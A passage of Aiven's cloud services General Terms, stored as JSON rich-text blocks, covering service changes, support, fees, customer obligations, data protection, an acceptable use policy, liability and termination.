construed to be a breach of this Agreement, but may give the Customer the right to receive a compensation set out in the SLA. Such compensation shall be the Customer's sole remedy and Aiven's sole liability as regards any non-compliance with any service levels."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a7f5b9fb6293","_type":"block","children":[{"_key":"bde23b6771c90","_type":"span","marks":[],"text":"The Cloud Services are updated from time to time due to their inherent nature. Aiven reserves the right to make changes to the Cloud Services at any time. If a change made by Aiven has an adverse effect on the agreed contents of the Cloud Services or the agreed service levels (if any), Aiven shall inform the Customer of such change at least thirty (30) days before the effective date of the change. In such a case the Customer shall have the right to terminate applicable Cloud Services in accordance with Section 12.2 or terminate the relevant Order Form subject to a thirty (30) days' written notice. The termination notice must be delivered to Aiven in writing prior to the effective date of the change."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7434470571a9","_type":"block","children":[{"_key":"074f0c5b9c720","_type":"span","marks":[],"text":"Aiven shall always have the right, but shall have no obligation, to make such changes to the Cloud Services that (a) concern or relate to the production environment of the Cloud Services and do not have an adverse effect on the agreed contents of the Cloud Services or the agreed service levels or hosting locations, (b) are necessary to prevent any data security risk to the Cloud Services, or (c) result from applicable laws or from a court or administrative order. The Customer shall not have the right to terminate any separately agreed Order Form due to any such changes."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"879789e9d100","_type":"block","children":[{"_key":"edc24f3395350","_type":"span","marks":[],"text":"All facilities used to store and process the Customer's data will adhere to reasonable security standards no less protective than the security standards at facilities where Aiven (or its Subprocessor as relevant) processes and stores its own information of a similar type. Aiven has committed to comply with the information security standard ISO 27001."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f9de1fd8c3b6","_type":"block","children":[{"_key":"5c4363b9f4a90","_type":"span","marks":[],"text":"The Customer uses Beta Services and/or Beta Features in its sole discretion and at its own risk. Beta Services and Beta Features may not be as reliable or as available as the Cloud Services. Beta Services and Beta Features may be changed at any time without notice and may not reach general availability status, i.e. similar status as the Cloud Services. Aiven will have no liability arising out of or in connection with the Beta Services and/or Beta Features."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e5c2bbfb6c16","_type":"block","children":[{"_key":"149d0f63090f","_type":"span","marks":[],"text":"2. Support and Additional"},{"_key":"0c3da67491d4","_type":"span","marks":["strong"],"text":" "},{"_key":"6bd3237f2286","_type":"span","marks":[],"text":"Services"}],"markDefs":[],"style":"h3"},{"_key":"3fcc36c0676e","_type":"block","children":[{"_key":"159e59f616b10","_type":"span","marks":[],"text":"The Customer may choose to order optional Support Services. A description of the Support Services is set out in the Support Services Description, and Aiven shall provide the Support Services to the Customer substantially as set out in the Support Services Description and in this Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"89e57fef1fdc","_type":"block","children":[{"_key":"bd40153f34300","_type":"span","marks":[],"text":"All Cloud Services include email support with responses provided on a best-effort basis without any guaranteed service levels. If the Customer has selected a support tier with service levels applicable to the Support Services, the Support Services shall be provided in accordance with such agreed service levels. A failure to comply with any service level shall not, however, be construed to be a breach of this Agreement, but may give the Customer the right to receive a compensation set out in the Support Services Description. Such compensation shall be the Customer's sole remedy and Aiven's sole liability as regards any non-compliance with any service levels."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e8d3efd62d46","_type":"block","children":[{"_key":"c908e95ebdb50","_type":"span","marks":[],"text":"Aiven shall use reasonable commercial efforts to correct at no additional charge any reproducible errors reported by Customer. Aiven shall review all requests for improvements and new functionality, but Aiven shall have no obligation to provide any modifications to the Cloud Service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c4931c938969","_type":"block","children":[{"_key":"ea42fa2c44510","_type":"span","marks":[],"text":"The Customer may choose to order optional Additional Services. The Additional Services are described at the Website or in an Order Form, as applicable."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6ca11daba40c","_type":"block","children":[{"_key":"41c3d5a3939e0","_type":"span","marks":[],"text":"3. Fees and Payment Terms"}],"markDefs":[],"style":"h3"},{"_key":"9adcebac8ca9","_type":"block","children":[{"_key":"bf31fb224a220","_type":"span","marks":[],"text":"The rates applicable for the Cloud Services may be reviewed at Aiven's Web Site. Actual Fees for Cloud Services will vary depending on the Customer's use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c89bd6455cf4","_type":"block","children":[{"_key":"e77d696e65a30","_type":"span","marks":[],"text":"Aiven uses a credit card processing service provided by Stripe Payments Europe, Ltd. (https://stripe.com/) (\"Stripe\") to process its payments. The Customer consents to the use of the Stripe service and to the transfer of its credit card details to Stripe. The Customer is familiar and agrees to be bound by any third party terms applicable to the Stripe service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5c5ed3bfebe1","_type":"block","children":[{"_key":"c3c528bc9de10","_type":"span","marks":[],"text":"All Fees are automatically charged monthly in arrears from the Customer by using the Stripe service set out in Section 3.2 above. If separately agreed with the Customer, the Fees for the use of the Cloud Services shall be invoiced monthly in arrears based on the Customer's use of the Cloud Services. In case a separate invoice is sent, the Customer is responsible for paying any Fees properly due in accordance with the invoices sent by Aiven."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"fc2278922661","_type":"block","children":[{"_key":"fa7b2b4aa6a30","_type":"span","marks":[],"text":"Aiven reserves the right to increase the rates applicable to the Cloud Services where this is justified due to the general increase of Aiven's costs and expenses of production (such as but not limited to general increase of labor costs and expenses). Further, Aiven may increase the rates applicable to the Cloud Services by an amount corresponding to an increase of costs of relevant third party offerings. Aiven will inform the Customer of such change at least thirty (30) days before implementing such change. Continuous use of the Cloud Services will be deemed as acceptance of the new Fees."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"05ac13a21658","_type":"block","children":[{"_key":"7f7a1a285d730","_type":"span","marks":[],"text":"All rates and Fees are set out without value added tax (VAT) or any other applicable sales tax, which shall be added to the rates and Fees in accordance with the then-applicable tax laws and regulations. In case a separate invoice is sent, the term of payment of each invoice shall be fourteen (14) days net from the date of the invoice. Interest on any amounts overdue shall accrue in accordance with the applicable Finnish Interest Act (Korkolaki 1982/633, as amended)."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"dd551b2b0936","_type":"block","children":[{"_key":"b48f5487da190","_type":"span","marks":[],"text":"4. Customer's General Obligations"}],"markDefs":[],"style":"h3"},{"_key":"3a4a20b2a1e0","_type":"block","children":[{"_key":"ed2097bc4ede0","_type":"span","marks":[],"text":"The Customer shall be responsible for its own devices, systems, applications, connections and software used to access the Cloud Services. The Customer shall be responsible for the protection of the Customer's data communications and data systems and costs for communications and other comparable costs related to use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"54c071e74ada","_type":"block","children":[{"_key":"b23333288ea40","_type":"span","marks":[],"text":"The Customer may authorize users to use the Cloud Services under the Customer's account (e.g. for the purposes of using the Customer's databases). The Customer shall ensure that any users it authorizes to use the Cloud Services under the Customer's account comply with this Agreement at all times and use the Cloud Services only in accordance with this Agreement and the Acceptable Use Policy. The Customer shall be responsible for any use of the Cloud Services under the Customer's account."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a8df7967e05f","_type":"block","children":[{"_key":"a7ded5a683ef0","_type":"span","marks":[],"text":"The Customer shall be responsible for ensuring that its authorized users maintain their user names and passwords diligently and do not disclose them to third parties. The Customer undertakes to inform Aiven without delay if any password has been revealed to a third party or if the Customer has a reason to suspect misuse of a user name or password. The Customer's liability for the misuse of the Cloud Services by the use of the user name or password of its user shall expire when Aiven has received Customer's written and sufficiently detailed notice of such misuse. The Customer shall change the password required for the use of the Cloud Services upon written request of Aiven if necessary due to data security risk to the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"fccbddd315b3","_type":"block","children":[{"_key":"12a136d594440","_type":"span","marks":[],"text":"The Customer is solely responsible for making appropriate backups of its data, and Aiven or its Subprocessors shall in no way be liable for any deletion of or failure to store any data of the Customer or other communications maintained or transmitted to the use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0699f8ba0ba4","_type":"block","children":[{"_key":"df80a3c49ad70","_type":"span","marks":[],"text":"5. Intellectual Property Rights"}],"markDefs":[],"style":"h3"},{"_key":"582bbfddf428","_type":"block","children":[{"_key":"2d12c2be43770","_type":"span","marks":[],"text":"Subject to the terms of this Agreement and subject to the due payment of all Fees, the Customer shall have a limited, non-exclusive, non-transferable right to use the Cloud Services during the term of this Agreement or the term of the relevant Order Form."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a81f0c27e928","_type":"block","children":[{"_key":"b09c261ec2910","_type":"span","marks":[],"text":"All rights, title and interest, including all Intellectual Property Rights in and to the Services, and any changes thereto shall belong exclusively to Aiven or its licensors. Except for the express license to use the Cloud Services granted to the Customer under and in accordance with the terms and conditions of this Agreement, the Customer shall have no and shall not by virtue of this Agreement obtain any rights, license or interests in and to the Services or any Intellectual Property Rights pertaining thereto."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7d9253897351","_type":"block","children":[{"_key":"92f8bc2be3220","_type":"span","marks":[],"text":"The Customer shall be solely responsible for its use of the Cloud Services including any breach of this Agreement by the Customer or any of its authorized users."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2a1353e42869","_type":"block","children":[{"_key":"757cbab88e7d0","_type":"span","marks":[],"text":"All licenses granted to the Customer under the Agreement shall terminate upon the termination of the Agreement for any reason."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"936bf08f3b89","_type":"block","children":[{"_key":"1fd1181103f10","_type":"span","marks":[],"text":"6. Personal Data"}],"markDefs":[],"style":"h3"},{"_key":"22b5181a394b","_type":"block","children":[{"_key":"ebff2a18f7d30","_type":"span","marks":[],"text":"To the extent the Customer inputs any personal data into the Cloud Services and the processing is subject to the EU General Data Protection Regulation (2016/679, the GDPR), the Parties acknowledge that the Customer acts as a data controller and Aiven is the data processor processing personal data together with its Subprocessors on behalf of the Customer for the purpose of providing the Cloud Services. All such processing of the Customer's personal data by Aiven is subject to the DPA."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9265ee28cd4e","_type":"block","children":[{"_key":"d3db8a5fe4f30","_type":"span","marks":[],"text":"7. Acceptable Use Policy"}],"markDefs":[],"style":"h3"},{"_key":"da2d34bd4940","_type":"block","children":[{"_key":"ccafdbd73e850","_type":"span","marks":[],"text":"The Customer shall use and ensure that its authorized users use the Cloud Services in accordance with the following acceptable use policy (\"Acceptable Use Policy\"). The Customer is solely responsible for ensuring that the Cloud Services are not used:"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b874b7c5baeb","_type":"block","children":[{"_key":"61cd479b32220","_type":"span","marks":[],"text":"to violate, or encourage the violation of, the legal rights (including without limitation Intellectual Property Rights) of others;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"89227fd29c29","_type":"block","children":[{"_key":"e459c12ad6090","_type":"span","marks":[],"text":"to engage in, promote or encourage any illegal activity;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"12f9c7a96b09","_type":"block","children":[{"_key":"bf80c0f23d970","_type":"span","marks":[],"text":"for any unlawful, invasive, infringing, defamatory, offensive, harmful or fraudulent purpose (for example, this may include phishing, creating a pyramid scheme or mirroring a website);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0b1e01598820","_type":"block","children":[{"_key":"022dce7949e10","_type":"span","marks":[],"text":"to intentionally distribute viruses, worms, Trojan horses, corrupted files, hoaxes, or other items of a destructive or deceptive nature;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8896fdfc9af2","_type":"block","children":[{"_key":"f0058bcef8f00","_type":"span","marks":[],"text":"to violate the security or integrity of any network, computer or communications system, software application or network or computing device (such violations to include without limitation unauthorized access, interception of data or traffic or falsification of origin);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ae209193d33f","_type":"block","children":[{"_key":"50c647cc2c850","_type":"span","marks":[],"text":"to make connections to any users, hosts or networks unless the Customer has permission to communicate with them (such network abuses to include without limitation monitoring or crawling, denial of service attacks, intentional interference, operating open proxies, open mail relays or open recursive domain name servers, or to avoiding system restrictions);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"95e60c1ccfac","_type":"block","children":[{"_key":"7c600bf8eb7d0","_type":"span","marks":[],"text":"to interfere with the use of the Cloud Services, or the equipment used to provide the Cloud Services, by others;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7016fb020967","_type":"block","children":[{"_key":"b546dd9ccdc40","_type":"span","marks":[],"text":"to disable, interfere with or circumvent any aspect of the Cloud Services;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"525ccd17dfd4","_type":"block","children":[{"_key":"126c4a4580790","_type":"span","marks":[],"text":"to generate, distribute, publish or facilitate unsolicited mass email, promotions, advertising or other solicitations (\"spam\"), including alteration or obscuring mail headers or assuming sender's identities, collecting replies to messages sent from a third party provider if such messages would violate the policies set out herein or comparable policies of such third party; or"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8f67e7ca3df9","_type":"block","children":[{"_key":"306567def0250","_type":"span","marks":[],"text":"to use the Cloud Services, or any interfaces provided with the Cloud Services, to access any other product or service of Aiven, its Subprocessors or subcontractors, in a manner that violates their applicable terms of service."}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bc0b0e46a810","_type":"block","children":[{"_key":"051e5458d39d0","_type":"span","marks":[],"text":"Aiven (and its Subprocessors and subcontractors where appropriate) reserve the right but assume no obligation to review the Customer's use of the Cloud Services, including the Customer's data to ensure compliance with the Acceptable Use Policy and to discontinue any use by the Customer of the Cloud Services and removing any infringing data of the Customer. Aiven (and its Subprocessors and subcontractors where appropriate) may report suspected infringing activities to officials, regulators or other appropriate third parties, including the disclosure of appropriate information regarding the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ec13c060cc77","_type":"block","children":[{"_key":"0d1751fc7e860","_type":"span","marks":[],"text":"If the Customer becomes aware that its use of the Cloud Services infringes the Acceptable Use Policy set out herein, the Customer agrees to immediately cease the infringing use of the Cloud Services without separate notice. The Customer agrees to comply with any requests of Aiven as regards to any use of the Cloud Services that infringes the Acceptable Use Policy set out herein."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"eb70e92e01a5","_type":"block","children":[{"_key":"2c8dc6abc5ee0","_type":"span","marks":[],"text":"8. Suspension and Discontinuation of Cloud Services"}],"markDefs":[],"style":"h3"},{"_key":"c7487cf10cef","_type":"block","children":[{"_key":"268e90f23c070","_type":"span","marks":[],"text":"Aiven shall have the right to suspend the provision of the Cloud Services for a reasonable period of time if such is necessary in order to perform installation, change or maintenance work in respect of the Cloud Services or if such suspension results from installation, change or maintenance work in respect of public communication networks."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ba00e4fad99f","_type":"block","children":[{"_key":"7fc2198fe52d0","_type":"span","marks":[],"text":"Aiven shall have the right to suspend the provision of the Cloud Services and/or deny the Customer's access to the Cloud Services without first hearing the Customer due to (a) a significant data security risk to the Cloud Services, (b) if applicable law or a court or administrative order requires Aiven to do so, (c) if Aiven becomes aware of, or reasonably suspects, any activities of the Customer or its authorized users that infringe on the Acceptable Use Policy or if the Customer has violated these General Terms or other agreements or guidelines which maybe be associated with use of the Cloud Services (d) if the Cloud Services are used contrary to, or for a purpose prohibited by this Agreement, applicable laws or court or administrative orders, or (e) the Cloud Services are used in a manner that jeopardizes the provision of the Cloud Services to other users. Aiven shall promptly notify the Customer of the suspension of the Cloud Services under this Section as well as the grounds for such suspension and shall use its best efforts to resolve the issue with the Customer without undue delay."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a2f4a38b5d37","_type":"block","children":[{"_key":"f0f2475e3a6e0","_type":"span","marks":[],"text":"Aiven shall always have the right to suspend the Cloud Services, if the Customer is in default with its payment of undisputed Fees due under this Agreement and does not pay such Fees despite a request to pay within fourteen (14) days calculated from the date of such request. The suspension can be continued until the Customer has paid all Fees due under this Agreement, after which Aiven shall continue the provision of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"39eefd020aa5","_type":"block","children":[{"_key":"1aed0b1d5a830","_type":"span","marks":[],"text":"The Customer understands that the Cloud Services are hosted by a Subprocessor of Aiven chosen by the Customer from the options provided by Aiven on the Web Site. Such Subprocessors may reserve rights to discontinue their hosting at any time. Aiven shall not be liable in any way for any discontinuation of such services provided by Subprocessors. Aiven undertakes to inform the Customer of such discontinuation without delay after having become aware of any third party plans to discontinue the provision of hosting services affecting the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4c1674c9a495","_type":"block","children":[{"_key":"a12eb8f8013e0","_type":"span","marks":[],"text":"9. Indemnification"}],"markDefs":[],"style":"h3"},{"_key":"619ca7c6681a","_type":"block","children":[{"_key":"ec007b2605420","_type":"span","marks":[],"text":"Aiven agrees to defend the Customer, at Aiven's own expense, against any third party claims or actions where a third party claims that the Cloud Services infringe upon the Intellectual Property Rights of a third party valid in the European Economic Area (\"EEA\"), provided that the Customer: (a) notifies Aiven of such claim immediately upon receipt of notice thereof; (b) provides Aiven, free of charge, with all available information, permissions and assistance; (c) grants Aiven the sole and exclusive right to control the defense of the claim; and (d) does not agree on any settlement of such claim or action prior to a final judgment thereon by a competent court of law or court of arbitration, without the express prior written consent of Aiven."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"53c1fa96fceb","_type":"block","children":[{"_key":"45e2a76873790","_type":"span","marks":[],"text":"If the Customer has acted in accordance with the sub-list (a)-(d) of Section 9.1, Aiven shall pay any damages finally awarded to the third party claimant by a competent court of law or court of arbitration."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"574b47570e2e","_type":"block","children":[{"_key":"11cad762f2fa0","_type":"span","marks":[],"text":"If Aiven justifiably deems that the Cloud Services infringe or may infringe upon any third party rights, Aiven shall have the right, at its own expense and in its sole discretion, to (a) acquire for the Customer the right to continue the use of the Cloud Services; or (b) replace the Cloud Services; or (c) modify the Cloud Services to the extent necessary to avoid the infringement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7eb6900c6d6a","_type":"block","children":[{"_key":"ab4657373d960","_type":"span","marks":[],"text":"If none of the alternatives defined in Section 9.3 are available to Aiven on commercially reasonable terms and/or without the significant loss of time, Aiven shall have the right to terminate the Agreement in whole or in part subject to a notice period set by Aiven, upon which the Customer agrees to cease using the Cloud Services and Aiven agrees to reimburse the Fees paid by the Customer for the terminated Cloud Services, less a proportion equal to the time of use of the Cloud Services by the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a7b3695c2a1b","_type":"block","children":[{"_key":"1b98d6dbbbe10","_type":"span","marks":[],"text":"The indemnity in this Section 9 shall not apply to, and Aiven is not liable for any claim that (a) is based on a claim by any Affiliate of the Customer; or (b) is based on the modification or alteration of the Cloud Services or a modification or alteration influencing the Cloud Services by the Customer or any third party; or (c) results from complying with any instructions, specifications or design given by the Customer or any third party under the command and control of the Customer; (d) arises or results from the use of the Cloud Services in combination with any software, equipment or products not developed or supplied by Aiven or which are contrary to instructions given by Aiven; or (e) could have been avoided by using the latest version of the Cloud Services made available by Aiven to the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"03543bf26bc7","_type":"block","children":[{"_key":"c17a537a4b930","_type":"span","marks":[],"text":"This Section 9 sets out the entire liability of Aiven and the Customer's sole remedy in case of any infringement of any Intellectual Property Rights."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f2c11f050b80","_type":"block","children":[{"_key":"69dcc99c7c750","_type":"span","marks":[],"text":"The Customer agrees to indemnify Aiven, at the Customer's own expense, against any claims made towards Aiven based on any information or data the Customer inputs to the Cloud Services, including without limitation claims that the Customer's data infringes third party intellectual property rights or that the data otherwise infringes applicable laws."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f8123d9d624c","_type":"block","children":[{"_key":"f53b1ea09e7d","_type":"span","marks":[],"text":"10. Confidentiality"}],"markDefs":[],"style":"h3"},{"_key":"805d216bf242","_type":"block","children":[{"_key":"31bb690da1d10","_type":"span","marks":[],"text":"Each Party shall keep in confidence all material and information received from the other Party and marked as confidential or which should be understood to be confidential (\"Confidential Information\"), and may not use such Confidential Information for any other purpose than those set forth in the Agreement. The confidentiality obligation shall, however, not apply to material and information, (a) which is or later becomes generally available or otherwise public; or (b) which the receiving Party has received from a third party without any obligation of confidentiality; or (c) which was rightfully in the possession of the receiving Party prior to receipt of the same from the disclosing Party without any obligation of confidentiality related thereto; (d) which a Party has independently developed without any use of or reference to the Confidential Information received from the other Party; or (e) which a Party is required to disclose under any mandatory law or by order of a court or governmental body of competent jurisdiction."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2107d986fce7","_type":"block","children":[{"_key":"52052d526f0d0","_type":"span","marks":[],"text":"Each Party shall promptly upon termination of the Agreement, or when the Party no longer needs the Confidential Information in question for the purpose of performing its obligations or exercising its rights under the Agreement, cease using the Confidential Information received from the other Party and, unless the Parties separately agree on destruction of such Confidential Information, return the Confidential Information in question (including all copies and reproductions thereof) to the other Party. Each Party shall, however, be entitled to retain the copies required by law or administrative orders applicable to such Party."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"97d1e91067ec","_type":"block","children":[{"_key":"d503fa851f2d0","_type":"span","marks":[],"text":"Notwithstanding the confidentiality obligation set forth herein, each Party shall be entitled to use the general professional skills and experience acquired in connection with the performance of the Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"552ee55430eb","_type":"block","children":[{"_key":"9d86a0bf517a0","_type":"span","marks":[],"text":"The rights and obligations related to the Confidential Information shall survive the termination of this Agreement for any reason for a period of three (3) years from such termination."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ac8de0d20a9b","_type":"block","children":[{"_key":"949a7ca4a35b0","_type":"span","marks":[],"text":"11. Limitation of Liability"}],"markDefs":[],"style":"h3"},{"_key":"e30663907e8d","_type":"block","children":[{"_key":"5bc60f922b3a0","_type":"span","marks":[],"text":"The total aggregate liability of a Party towards the other Party under the Agreement shall not exceed (i) an amount equal to the Fees paid by the Customer to Aiven during the six (6) months preceding the event giving rise to the liability; or (ii) fifty thousand (50.000) Euro, whichever is less."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4f623751e7c2","_type":"block","children":[{"_key":"86a3a37c266d0","_type":"span","marks":[],"text":"A Party shall not be liable for any indirect, incidental, or consequential damages such as loss of profits, revenue or business, damages caused due to decrease in turnover or production or loss, alteration, destruction or corruption of data."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7e3dfc673baa","_type":"block","children":[{"_key":"b7465b52f7a80","_type":"span","marks":[],"text":"The limitations of liability shall not apply to damages caused by willful misconduct or gross negligence or to liability under Section 9 (Indemnification) or Section 10 (Confidentiality)."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f12b586b1228","_type":"block","children":[{"_key":"57b90c90ee8c0","_type":"span","marks":[],"text":"12. Term and Termination"}],"markDefs":[],"style":"h3"},{"_key":"b0094da0c118","_type":"block","children":[{"_key":"b27f562e70c10","_type":"span","marks":[],"text":"This Agreement shall enter into force when the Customer has accepted this Agreement when registering for the first time to use the Cloud Services. If the Cloud Services are ordered through a separate Order Form, this Agreement will become effective as stated in the Order Form."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"3516d7d36231","_type":"block","children":[{"_key":"eb5c57cecf260","_type":"span","marks":[],"text":"Unless expressly set out to the contrary in the Order Form, the Agreement shall remain in force until terminated by a Party by a two (2) months' written notice to the other Party. Unless expressly set out to the contrary in the Order Form, the Customer may terminate the order of any individual Cloud Service at any time by choosing that option at the Customer's account on the Web Site, in which case the invoicing for the relevant Cloud Service shall be stopped from that day onward. If a Customer terminates individual Cloud Services, the Agreement remains in force until terminated as set out in this section 12."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"dbd1595556ee","_type":"block","children":[{"_key":"2311f50f8bc20","_type":"span","marks":[],"text":"Each Party may terminate the Agreement in whole for cause with immediate effect upon written notice to the other Party if (a) the other Party becomes insolvent, applies for or is adjudicated in bankruptcy or liquidation or corporate restructuring or otherwise ceases to carry on its business; or (b) the other Party is in material breach of the terms and conditions of this Agreement and fails to remedy such breach within thirty (30) days from the date of receipt of a written notice by the non-defaulting Party, such written notice detailing the breach and the intention to terminate."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a94d6fdab44e","_type":"block","children":[{"_key":"21d0a21c0cc00","_type":"span","marks":[],"text":"Unless expressly set out to the contrary in the Order Form, upon the termination of the Agreement for any reason, any Fees owed by the Customer until the effective date of the termination shall become due."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2034d04da68c","_type":"block","children":[{"_key":"c9600ce01a620","_type":"span","marks":[],"text":"If not instructed otherwise in writing by the Customer and unless legally required to keep Customer data uploaded to the Cloud Services, Aiven shall delete and destroy the data the latest within ninety (90) days' of the termination of the Agreement or after the maximum data retention period permitted by the technology of the relevant Cloud Service. In case the Customer demands that the Customer data are returned to the Customer or to a third party, the Customer will pay Aiven for any additional costs and expenses arising out of such return of the Customer data."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bff18dcfe077","_type":"block","children":[{"_key":"384c566cc3090","_type":"span","marks":[],"text":"13. Other Terms"}],"markDefs":[],"style":"h3"},{"_key":"bd9a2b416696","_type":"block","children":[{"_key":"7cae8fb4e1720","_type":"span","marks":[],"text":"Notwithstanding the rules on Subprocessors agreed in the DPA, Aiven shall be free to use subcontractors in the performance of its obligations and exercise of its rights under this Agreement. A list of Aiven's Subprocessors and subcontractors is available at the Web Site, if not communicated separately to the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2530acec50f1","_type":"block","children":[{"_key":"02b8a70d3e710","_type":"span","marks":[],"text":"Aiven shall have the right to use its relationship with the Customer in its marketing and sales promotion activities."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0955de201b9f","_type":"block","children":[{"_key":"ad4bd9e8df800","_type":"span","marks":[],"text":"This Agreement constitutes the entire agreement with respect to Customer’s access to and use of the Cloud Services. Aiven's obligations regarding the Cloud Services are governed solely by this Agreement pursuant to which they are provided. In the event of discrepancy between this Agreement and the Aiven standard template Order Form, the text of the Aiven standard template Order Form shall prevail. For clarity, these General Terms shall prevail over any Customer general terms and conditions which may have been referenced in the Customer’s standard template order form or purchase order."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d1dad0d6fd39","_type":"block","children":[{"_key":"c942a6fe287f0","_type":"span","marks":[],"text":"Except as expressly provided herein, neither Party makes any warranties of any kind, whether express, implied, statutory or otherwise, and each Party specifically disclaims all implied warranties, including any warranties of merchantability, fitness for a particular purpose, or non-infringement, and any warranties arising out of course of dealing, course of performance or use of trade to the maximum extent permitted by applicable law. The Cloud Services are provided to Customer strictly on an \"as is\" basis. Aiven shall have no responsibility for determining that Customer's proposed use of the Cloud Services complies with applicable laws and regulations in Customer's jurisdiction(s). Customer acknowledges and agrees Aiven is not engaged in providing legal, accounting, tax, or financial services or advice. No advice or information, whether oral or written, provided by Aiven will create any warranty or condition not expressly stated in this agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f8e71f32fcbd","_type":"block","children":[{"_key":"80662b56de1a0","_type":"span","marks":[],"text":"Either Party shall not be liable for any delays or non-performance of its obligations or any damages caused by an impediment beyond its reasonable control, which it could not have reasonably taken into account at the time of entering into this Agreement, and whose consequences it could not reasonably have avoided or overcome. For instance, errors in public communication networks or electricity supply shall constitute such an impediment. Strike, lockout, boycott and other industrial action shall constitute a force majeure event also when the Party concerned is the target or Party to such action. A force majeure event suffered by a Subprocessor or a subcontractor of a Party shall also discharge such Party from liability. Each Party shall without delay inform the other Party in writing of a force majeure event and the termination of the force majeure event."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bacee1bd5c27","_type":"block","children":[{"_key":"a9922b92ee360","_type":"span","marks":[],"text":"All formal notices and other formal communication between the Parties hereunder shall be made in the English language. Neither Party shall be entitled to assign nor transfer all or any of its rights, benefits and obligations under this Agreement without the prior written consent of the other Party, which consent shall not be unreasonably withheld or delayed. Aiven shall, however, have the right to assign this Agreement in connection with a sale or transfer of its business or a relevant part thereof."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4b9b7be9debb","_type":"block","children":[{"_key":"375006bb5b230","_type":"span","marks":[],"text":"Aiven shall have the right to update the Agreement at its sole discretion. Aiven shall notify the Customer of material updates. Should the Customer not accept the updated Agreement, the Customer shall have the right to terminate the Agreement by a written notice to the Company, effective as of the effective date of the update of the Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"657472767028","_type":"block","children":[{"_key":"5fe9960ff4290","_type":"span","marks":[],"text":"Any terms and conditions that by their nature or otherwise reasonably should survive a cancellation or termination of this Agreement shall also be deemed to survive."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7156964cef00","_type":"block","children":[{"_key":"c7c4e5e7b3ee0","_type":"span","marks":[],"text":"Aiven shall have the right to delete Cloud Services which have been powered-off for more than 180 days. The Customer acknowledges that such deletion will also delete all backups of such deleted 